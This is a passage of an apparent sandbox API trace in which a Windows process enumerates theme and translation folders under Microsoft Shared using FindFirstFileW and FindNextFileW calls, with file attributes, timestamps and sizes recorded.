ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.591] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.592] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.592] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0042.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.592] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.592] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.592] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.592] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.592] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0042.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.593] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.593] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.593] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.593] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.593] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0042.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.593] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.594] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.594] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.594] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.594] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0042.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.594] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.594] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.595] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.595] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.595] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0042.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0042.595] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.595] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.596] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.596] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0042.596] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0042.596] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0042.596] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0042.596] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0042.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0043.895] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.895] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0043.895] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0043.896] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.896] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0043.897] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0043.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0043.898] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0043.898] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0043.899] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.899] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0043.899] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0043.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0043.899] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0043.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0043.900] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.900] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0043.900] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0043.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0043.900] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0043.900] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0043.901] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.901] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0043.901] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0043.901] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0043.901] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0043.901] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 